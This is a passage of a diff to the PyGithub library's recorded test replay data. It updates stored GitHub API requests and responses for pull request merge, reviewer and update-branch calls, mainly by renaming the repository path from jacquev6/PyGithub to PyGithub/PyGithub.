-{"merged":false,"diff_url":"https://github.com/jacquev6/PyGithub/pull/39.diff","head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-29T18:05:10Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"mirror_url":null,"size":428,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-29T18:05:10Z","created_at":"2012-05-29T18:03:19Z","id":4485562,"full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"sha":"ca6e7ef9ce22dc01290bb59507f24cc17f42daa4"},"updated_at":"2012-05-29T18:06:07Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/39","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/39"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/39/comments"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/39/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/39"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/39"}},"body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/39","comments":0,"review_comments":0,"changed_files":15,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:04:08Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"mirror_url":null,"size":480,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:04:07Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"d57aea6a898050115a089e6f86c5314d7daf97e8"},"number":39,"html_url":"https://github.com/jacquev6/PyGithub/pull/39","patch_url":"https://github.com/jacquev6/PyGithub/pull/39.patch","mergeable":true,"title":"Pull request to be merged by PyGithub with a custom commit message","deletions":31,"merged_by":null,"additions":95,"closed_at":null,"created_at":"2012-05-29T18:06:07Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"state":"open","id":1448168,"commits":2,"merged_at":null} +{"merged":false,"diff_url":"https://github.com/PyGithub/PyGithub/pull/39.diff","head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-29T18:05:10Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"mirror_url":null,"size":428,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-29T18:05:10Z","created_at":"2012-05-29T18:03:19Z","id":4485562,"full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"sha":"ca6e7ef9ce22dc01290bb59507f24cc17f42daa4"},"updated_at":"2012-05-29T18:06:07Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/39","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39/comments"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/39/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/39"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/39"}},"body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/39","comments":0,"review_comments":0,"changed_files":15,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:04:08Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","git_url":"git://github.com/PyGithub/PyGithub.git","html_url":"https://github.com/PyGithub/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"mirror_url":null,"size":480,"private":false,"open_issues":15,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:04:07Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"d57aea6a898050115a089e6f86c5314d7daf97e8"},"number":39,"html_url":"https://github.com/PyGithub/PyGithub/pull/39","patch_url":"https://github.com/PyGithub/PyGithub/pull/39.patch","mergeable":true,"title":"Pull request to be merged by PyGithub with a custom commit message","deletions":31,"merged_by":null,"additions":95,"closed_at":null,"created_at":"2012-05-29T18:06:07Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"state":"open","id":1448168,"commits":2,"merged_at":null} https PUT api.github.com None -/repos/jacquev6/PyGithub/pulls/39/merge +/repos/PyGithub/PyGithub/pulls/39/merge {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"commit_message": "Custom commit message created by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '109'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"378c85a4f6b6694e0f7686effbc2c29f"'), ('date', 'Tue, 29 May 2012 18:07:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"merged":true,"message":"Pull Request successfully merged","sha":"2525d86ae3bf7d26003e2a6d5226a8d870499792"} - diff --git a/tests/ReplayData/PullRequest.testReviewRequests.txt b/tests/ReplayData/PullRequest.testReviewRequests.txt index 665da68604..a06ae26b26 100644 --- a/tests/ReplayData/PullRequest.testReviewRequests.txt +++ b/tests/ReplayData/PullRequest.testReviewRequests.txt @@ -2,7 +2,7 @@ https POST api.github.com None -/repos/jacquev6/PyGithub/pulls/31/requested_reviewers +/repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"reviewers":"sfdye","team_reviewers":"pygithub-owners"} 201 @@ -13,7 +13,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/requested_reviewers +/repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -24,7 +24,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/requested_reviewers +/repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -35,7 +35,7 @@ https DELETE api.github.com None -/repos/jacquev6/PyGithub/pulls/31/requested_reviewers +/repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"reviewers":"sfdye"} 204 @@ -46,7 +46,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/requested_reviewers +/repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -57,10 +57,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/requested_reviewers +/repos/PyGithub/PyGithub/pulls/31/requested_reviewers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '318'), ('server', 'nginx'), ('last-modified', 'Sat, 03 Nov 2012 08:19:40 GMT'), ('connection', 'keep-alive'), ('etag', '"1ec7d9f2ebb27db7dc002f1382d23975"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 03 Nov 2012 08:19:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"users":[],"teams":[{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}]} - diff --git a/tests/ReplayData/PullRequest.testUpdateBranch.txt b/tests/ReplayData/PullRequest.testUpdateBranch.txt index b1069c2516..2acf1b0f40 100644 --- a/tests/ReplayData/PullRequest.testUpdateBranch.txt +++ b/tests/ReplayData/PullRequest.testUpdateBranch.txt @@ -1,22 +1,21 @@ -https -PUT -api.github.com -None -/repos/jacquev6/PyGithub/pulls/31/update-branch -{'Accept': 'application/vnd.github.lydian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"expected_head_sha": "addaebea821105cf6600441f05ff2b413ab21a36"} -202 -[('Date', 'Thu, 12 Dec 2019 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '116'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1576136543'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/31'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.lydian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDC9:1B2E:D52CCF:F43910:5DF1E152')] -{"message":"Updating pull request branch.","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"} - https PUT api.github.com None -/repos/jacquev6/PyGithub/pulls/31/update-branch +/repos/PyGithub/PyGithub/pulls/31/update-branch {'Accept': 'application/vnd.github.lydian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{} +{"expected_head_sha": "addaebea821105cf6600441f05ff2b413ab21a36"} 202 -[('Date', 'Thu, 12 Dec 2019 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '116'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1576136543'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/31'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.lydian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDC9:1B2E:D52CCF:F43910:5DF1E152')] -{"message":"Updating pull request branch.","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"} +[('Date', 'Thu, 12 Dec 2019 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '116'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1576136543'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/31'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.lydian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDC9:1B2E:D52CCF:F43910:5DF1E152')] +{"message":"Updating pull request branch.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"} +https +PUT +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31/update-branch +{'Accept': 'application/vnd.github.lydian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{} +202 +[('Date', 'Thu, 12 Dec 2019 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '116'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1576136543'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/31'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.lydian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDC9:1B2E:D52CCF:F43910:5DF1E152')] +{"message":"Updating pull request branch.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"} diff --git a/tests/ReplayData/PullRequest1168.setUp.txt b/tests/ReplayData/PullRequest1168.setUp.txt index 5cbdf5da37..26177057ef 100644 --- a/tests/ReplayData/PullRequest1168.setUp.txt +++ b/tests/ReplayData/PullRequest1168.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 15 Jul 2019 17:30:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4940'), ('X-RateLimit-Reset', '1563215419'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"5ae26eb62a9e18727e87861af55c7ed1"'), ('Last-Modified', 'Sun, 14 Jul 2019 13:11:51 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06A:402B8:332E7B2:3F5DC00:5D2CB82B')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-07-14T13:11:51Z","pushed_at":"2019-07-15T16:46:34Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2692,"watchers_count":2692,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":926,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":71,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":926,"open_issues":71,"watchers":2692,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":926,"subscribers_count":90} - diff --git a/tests/ReplayData/PullRequest1168.testGetIssue.txt b/tests/ReplayData/PullRequest1168.testGetIssue.txt index c24dd3cb09..7546d0a302 100644 --- a/tests/ReplayData/PullRequest1168.testGetIssue.txt +++ b/tests/ReplayData/PullRequest1168.testGetIssue.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Mon, 15 Jul 2019 17:30:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4941'), ('X-RateLimit-Reset', '1563215419'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"e1697bb04d5d6f5c8aa477cc7b41a2dc"'), ('Last-Modified', 'Mon, 15 Jul 2019 12:56:28 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D068:9A63:34E56AF:414EC1C:5D2CB82A')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171","id":297582636,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk3NTgyNjM2","html_url":"https://github.com/PyGithub/PyGithub/pull/1171","diff_url":"https://github.com/PyGithub/PyGithub/pull/1171.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/1171.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171","number":1171,"state":"open","locked":false,"title":"Fix small issues for Python 3 compatibility.","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"body":"Still can't run tests with Python 3, but it's improving it a 